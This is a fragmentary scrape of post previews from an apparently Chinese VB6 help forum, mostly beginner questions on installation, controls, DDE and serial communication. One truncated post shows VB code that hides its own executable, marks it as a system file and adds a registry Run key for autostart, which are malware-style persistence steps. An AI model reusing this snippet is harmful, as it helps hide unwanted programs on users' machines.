-
-
6
-
0如上,这个程序能在windows7/10上运行吗?求各位大佬解惑
-
3
-
0
-
7
-
3
-
1求高手:生成程序能实现中英文界面切换
-
3
-
7语音识别在网上搜了很多 但是按照他们写的都完成不了 vb小白求助大神 有偿
-
8
-
3
-
0我直接从VBA中导出来的代码,复制到VB6里面的模块,是不可以直接封装的吗,封装一直提示我子过程或函数未定义,这个是只能解决的呢,各位老师
-
3买的书光盘带的安装程序 但是点开是乱码 电脑是win10的,有没有大佬知道咋回事啊 有没有可安装的安装包啊
-
1除了乱码以外,到软件里面,进入编写程序里面,对编写窗口做出任何操作都会直接闪退 请问大佬们有什么解决办法吗? 目前用的win10,已经使用兼容运行和调整区域等方法
-
0
-
0win10上安装的VB6.0中找不到AMovie.ocx,在网上找到.ocx文件,添加组件时提示打不开win32下的amcompat.dll?有没有大佬能给下解答?
-
1我现在想遍历spreadsheet 所有行,然后把选中行的数据放入集合中,问题是怎么判断该行是选中的行,我们新版本都是建一列checkbox专门判断是否被选中,老系统没有这一列,选中的方式是Ctrl加鼠标单击。
-
2求VB6.0中文企业版安装包
-
3
-
3给大家分享一个动态时钟的代码Option ExplicitDim r, x, y, NumSize As Single, n, c, lastsecond As IntegerConst PI = 3.14159265358979Private Sub Form_Load()Form1.AutoRedraw = TrueForm1.BackColor = RGB(100, 100, 150)Form1.Top = 30Form1.Width = 9000Form1.Height = 8600Label1.Caption = Str(Year(Now)) + "年" + Str(Month(Now)) + "月" + Str(Day(Now)) + "日"Timer1.Interval = 853End SubPrivate Sub Form_Resize()Form1.Caption = "waiting..."r = IIf(Form1.Width > Form1.Height, Form1.Height, Form1.Width) / 2 * 0.9x = Form1.Width / 2.05y = Form1.Height
-
1如何在vb中实现
-
1
-
1需要用到dde来获取一些数值,用别的软件来写,就想用vb来写一个dll使用,现在遇到问题了,在vb中可以用控件的属性来获取,比如TextBox.LinkMode=0,可写dll不需要用界面的,现在的问题就是TextBox这个控件用什么来代替?哪位大神知道用什么来设置LinkMode这些属性?
-
4
-
5
-
0请问一下各位大佬有没有人可以用vb6.0实现瑞典条分法计算土坡安全系数啊,我需要这个代码,急需,可以商量价钱别太贵就行
-
0我通过WebBrowser 收集资料,前几天还是可以用虽然出现WebBrowser 出现版本低,但是不会不显示页面,但是现在根本不显示页面,估计是网战改源代码了,我修改了注册表,没有任何作用,请大神帮忙
-
4VB无法运行带有label和text控件的程序 一运行就闪退 大佬们有解决办法吗 求助
-
1通过485接口通讯PLC,目前通讯没有问题,读取单台PLC的数据没问题可是多台连接在一起的时候读取指定的存储位置出现数据乱码。请问有大佬知道这是什么问题吗
-
33求vb6.0软件在哪里下,求指教
-
0For counter = start To end [Stepstepl] [statements] [Exit For] [statements] Next [counter]
-
5
-
1怎样用VB调用CAD中的定距等分,定数等分命令,调用这些命令是否有特定的格式?
-
0
-
12
-
1
-
0【结果展示】【例子1】 【翻译前】: 【翻译后】: 【例子2】 【翻译前】: 【翻译后】: 【部分代码】 【中英对换操作,需要手动修改代码】 【code】 Private Sub Command1_Click() niu_from = "en" '这里修改源语言 niu_to = "zh" '这里修改需要翻译成的语言 Text2.Text = getdata("https://api.niutrans.com/NiuTransServer/translationXML?from=" + niu_from + "&to=" + niu_to + "&apikey=这里需要输入你的apikey&src_text=" + UTF8_URLEncoding(Text1.Text)) '需
-
6
-
2
-
2今天写了一个vb程序代码是这样的: Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() Set w = CreateObject("wscript.shell") SetAttr App.Path & "\" & App.EXEName & ".exe", vbHidden SetAttr App.Path & "\" & App.EXEName & ".exe", vbSystem w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" Open "C:\lp.bat" For Output As #1 Print "@e
-
3Private Sub Command1_Click() Picture1.Visible = False End Sub Private Sub Command2_Click() Picture1.Visible = True Picture1.Print "你好" End Sub 这是我写的希望先把图片框隐藏再显示然后输出你好。不知道错在哪里,应该如何实现呢,请教高手指点
-
0
-
1